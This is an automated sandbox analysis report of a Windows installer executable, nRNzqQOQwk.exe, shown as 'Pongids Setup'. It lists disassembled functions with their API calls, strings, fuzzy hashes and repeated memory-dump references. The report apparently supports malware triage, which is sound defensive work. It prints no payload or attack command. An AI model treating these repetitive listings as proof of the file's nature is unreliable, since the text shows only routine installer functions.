Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: Call$N$open
API String ID: 3615053054-2563687911
Opcode ID: 2bd72d0c45eb893bd58c56080fda348c45ce57ca2b38d375d74f0412c252b757
Instruction ID: 601bc5fe35b3c5de407f3786c3433e5d67f1b6e9b87549a619d2750a8ed94523
Opcode Fuzzy Hash: 2bd72d0c45eb893bd58c56080fda348c45ce57ca2b38d375d74f0412c252b757
Instruction Fuzzy Hash: 6B61A5B1A40209BFEB109F61CC45F6A7B79FB84705F108026FB05BA2D1C7B8A951CF58

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,?), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,Pongids Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C
Pongids Setup, xrefs: 00401150

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Pongids Setup
API String ID: 941294808-3581732227
Opcode ID: 0a68615732e4b88a98f313291f6562efd0598cab8c65ff7e1a40b4ddd25604da
Instruction ID: 5377a76c68583d826c01589a66ce84b6d9bb3dc06a218cd9f98f6b2c798b1645
Opcode Fuzzy Hash: 0a68615732e4b88a98f313291f6562efd0598cab8c65ff7e1a40b4ddd25604da
Instruction Fuzzy Hash: 74419C71804249AFCB058FA5CD459BFBFB9FF45310F00812AF961AA1A0C738EA50DFA5

Function 00405AE9 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(007A02D0,NUL,?,00000000,?,00000000,00405C7C,?,?), ref: 00405AF8
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,00405C7C,?,?), ref: 00405B1C
GetShortPathNameA.KERNEL32(?,007A02D0,00000400), ref: 00405B25

Part of subcall function 00405978: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405BD5,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405988
Part of subcall function 00405978: lstrlenA.KERNEL32(00000000,?,00000000,00405BD5,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059BA

GetShortPathNameA.KERNEL32(007A06D0,007A06D0,00000400), ref: 00405B42
wsprintfA.USER32 ref: 00405B60
GetFileSize.KERNEL32(00000000,00000000,007A06D0,C0000000,00000004,007A06D0,?,?,?,?,?), ref: 00405B9B
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405BAA
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BE2
SetFilePointer.KERNEL32(004093B0,00000000,00000000,00000000,00000000,0079FED0,00000000,-0000000A,004093B0,00000000,[Rename],00000000,00000000,00000000), ref: 00405C38
GlobalFree.KERNEL32(00000000), ref: 00405C49
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405C50

Part of subcall function 00405A13: GetFileAttributesA.KERNELBASE(?,00402D3A,C:\Users\user\Desktop\nRNzqQOQwk.exe,80000000,?), ref: 00405A17
Part of subcall function 00405A13: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405A39

Strings

NUL, xrefs: 00405AF2
[Rename], xrefs: 00405BCA, 00405BDC
%s=%s, xrefs: 00405B56

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 222337774-4148678300
Opcode ID: 470faa373d492393558750a21a749fa660293524ffa589413fd4618ea5f3d9a4
Instruction ID: 1eed59494e777df17b5db6228b66ba1829f219dd2eba3e9b173e6ae731b9f24b
Opcode Fuzzy Hash: 470faa373d492393558750a21a749fa660293524ffa589413fd4618ea5f3d9a4
Instruction Fuzzy Hash: 503125B0A08B05ABE6203B615D48F6B3A5CDF45794F14053BFE01F62D2DA7CAC408EAD

Function 00402C13 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C2E
MulDiv.KERNEL32(00095409,00000064,00096960), ref: 00402C59
wsprintfA.USER32 ref: 00402C69
SetWindowTextA.USER32(?,?), ref: 00402C79
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402C8B

Strings

T, xrefs: 00402C44
`i, xrefs: 00402C4A
verifying installer: %d%%, xrefs: 00402C63

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: T$`i$verifying installer: %d%%
API String ID: 1451636040-1135715120
Opcode ID: 3ae07b054ad9b81f5b6108b272be1fee9de0c5ac9c6f7af5c303f160919c41b2
Instruction ID: 21607a1dc9e24acd8111b7ab95824f47c5a1c8f1a2671c4e1062bfa223269d08
Opcode Fuzzy Hash: 3ae07b054ad9b81f5b6108b272be1fee9de0c5ac9c6f7af5c303f160919c41b2
Instruction Fuzzy Hash: 8B014F70944209FBEF209F60DD4AEAE37A9AB04304F008039FA16A92D0D7B89951CB59

Function 0040600B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\nRNzqQOQwk.exe",765F3410,C:\Users\user\AppData\Local\Temp\,00000000,0040315B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403370), ref: 00406063
CharNextA.USER32(?,?,?,00000000), ref: 00406070
CharNextA.USER32(?,"C:\Users\user\Desktop\nRNzqQOQwk.exe",765F3410,C:\Users\user\AppData\Local\Temp\,00000000,0040315B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403370), ref: 00406075
CharPrevA.USER32(?,?,765F3410,C:\Users\user\AppData\Local\Temp\,00000000,0040315B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403370), ref: 00406085

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040600C
*?|<>/":, xrefs: 00406053
"C:\Users\user\Desktop\nRNzqQOQwk.exe", xrefs: 00406047

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\nRNzqQOQwk.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-16102510
Opcode ID: ce3d7990729f771fdc32bb0ed1b54e2c2469674ae1568702cd8079844570f2a1
Instruction ID: 5800177166b7667d3eaf53a22357e4554d28550b3292ec339307e94a63baae70
Opcode Fuzzy Hash: ce3d7990729f771fdc32bb0ed1b54e2c2469674ae1568702cd8079844570f2a1
Instruction Fuzzy Hash: 5011276184479129FB3296384C00B7B6FD94F567A0F19007BE9C6722C2C67C5C62836D

Function 00403FEC Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00404009
GetSysColor.USER32(00000000), ref: 00404025
SetTextColor.GDI32(?,00000000), ref: 00404031
SetBkMode.GDI32(?,?), ref: 0040403D
GetSysColor.USER32(?), ref: 00404050
SetBkColor.GDI32(?,?), ref: 00404060
DeleteObject.GDI32(?), ref: 0040407A
CreateBrushIndirect.GDI32(?), ref: 00404084

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction ID: c3620b6f473fad47e7a0c0791398936244beda297bc66feae6272bbc27e0e58c
Opcode Fuzzy Hash: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction Fuzzy Hash: D7214FB1904704ABCB319F78DD48B5BBBF8AF41714F048A29EB96B22E0D734E944CB55

Function 100021FA Relevance: 10.6, APIs: 7, Instructions: 139memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 1000234A

Part of subcall function 10001224: lstrcpynA.KERNEL32(00000000,?,100012CF,-1000404B,100011AB,-000000A0), ref: 10001234

GlobalAlloc.KERNEL32(00000040,?), ref: 100022C3
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 100022D8
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100022E7
CLSIDFromString.OLE32(00000000,00000000), ref: 100022F4
GlobalFree.KERNEL32(00000000), ref: 100022FB

Memory Dump Source

Source File: 00000000.00000002.13435297109.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.13435257498.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.13435328393.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.13435360317.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_nRNzqQOQwk.jbxd

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
String ID:
API String ID: 3730416702-0
Opcode ID: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
Instruction ID: bfa8c22ebd78897ea4dc14f883c746723b208fa17a75ef0c69fbb79ff87ab60c
Opcode Fuzzy Hash: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
Instruction Fuzzy Hash: B541ABB1108311EFF320DFA48884B5BB7F8FF443D1F218529F946D61A9DB34AA448B61

Function 100023DA Relevance: 10.6, APIs: 7, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 10001215: GlobalAlloc.KERNEL32(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

GlobalFree.KERNEL32(?), ref: 100024B5
GlobalFree.KERNEL32(00000000), ref: 100024EF

Memory Dump Source

Source File: 00000000.00000002.13435297109.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.13435257498.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.13435328393.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.13435360317.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_nRNzqQOQwk.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
Instruction ID: 4e6b36a645f71e2aed4a85f2c36ff1861f2741140ba068ae73f9b0a79c1593cf
Opcode Fuzzy Hash: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
Instruction Fuzzy Hash: EA319CB1504250EFF322CF64CCC4C6B7BBDEB852D4B124529FA4193168CB31AC94DB62

Function 00404FB9 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0079DD20,00000000,0078FCF8,765F23A0,?,?,?,?,?,?,?,?,?,0040306B,00000000,?), ref: 00404FF2
lstrlenA.KERNEL32(0040306B,0079DD20,00000000,0078FCF8,765F23A0,?,?,?,?,?,?,?,?,?,0040306B,00000000), ref: 00405002
lstrcatA.KERNEL32(0079DD20,0040306B,0040306B,0079DD20,00000000,0078FCF8,765F23A0), ref: 00405015
SetWindowTextA.USER32(0079DD20,0079DD20), ref: 00405027
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040504D
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405067
SendMessageA.USER32(?,00001013,?,00000000), ref: 00405075

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 8aca45e27811aa21f79b642ec133e9ff2e42e250cada4605035ec104fac27bf5
Instruction ID: d1dd411a73e10bc413e7a6ba64919406d2bbbb657998d141ba589d50d7388124
Opcode Fuzzy Hash: 8aca45e27811aa21f79b642ec133e9ff2e42e250cada4605035ec104fac27bf5
Instruction Fuzzy Hash: 0D214C71900519AADF119FA5DD849DEBFA9EF09354F14807AF944A6290C7398D40CFA8

Function 00404884 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 0040489F
GetMessagePos.USER32 ref: 004048A7
ScreenToClient.USER32(?,?), ref: 004048C1
SendMessageA.USER32(?,00001111,00000000,?), ref: 004048D3
SendMessageA.USER32(?,0000110C,00000000,?), ref: 004048F9

Strings

f, xrefs: 004048D5

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction ID: 53a3bc3e7d347c8b02fcccb5944648bd46d0fd351ff65b71f1969629af7e9ac2
Opcode Fuzzy Hash: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction Fuzzy Hash: 12019275D00219BAEB00DBA5DC41BFEBBBCAF55711F10412BBA00B71D0C7B469018BA5

Function 00402749 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00030000,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040279D
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 004027B9
GlobalFree.KERNEL32(?), ref: 004027F2
GlobalFree.KERNEL32(00000000), ref: 00402805
CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 0040281D
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 00402831

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: bd817bc7a5230683892e3683ec6d2df01fe810dda785156d5253b7aae5e8edff
Instruction ID: ecef423f8b7fb5116dd0415946ee68b484c5f893cd0af9153c7a5222f957d578
Opcode Fuzzy Hash: bd817bc7a5230683892e3683ec6d2df01fe810dda785156d5253b7aae5e8edff
Instruction Fuzzy Hash: B921AE71C00128BBCF216FA5CE49D9E7E79EF09324F14423AF511762D0C6794D419FA9

Function 0040477A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

